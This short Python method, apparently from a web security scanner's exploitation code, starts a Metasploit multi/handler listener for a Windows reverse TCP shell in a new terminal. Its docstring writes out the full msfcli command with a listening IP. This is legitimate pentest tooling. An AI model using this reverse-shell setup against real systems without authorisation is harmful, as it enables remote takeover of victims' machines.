'Runs something similar to:
./msfcli exploit/multi/handler PAYLOAD=windows/shell/reverse_tcp LHOST=192.168.1.112 E
In a new console.
:return: True if it was possible to start the listener in a new console'

def _start_local_listener(self, msfcli_handler, parameters):

    args = (self._msfcli_path, msfcli_handler, '    '.join(parameters))
    msfcli_command = ('%s    %s    %s' % args)
    om.out.console(('Running    a    new    terminal    with    the    payload    handler    ("%s")' % msfcli_command))
    subprocess.Popen(['gnome-terminal', '-e', msfcli_command])
    time.sleep(10)
    return True
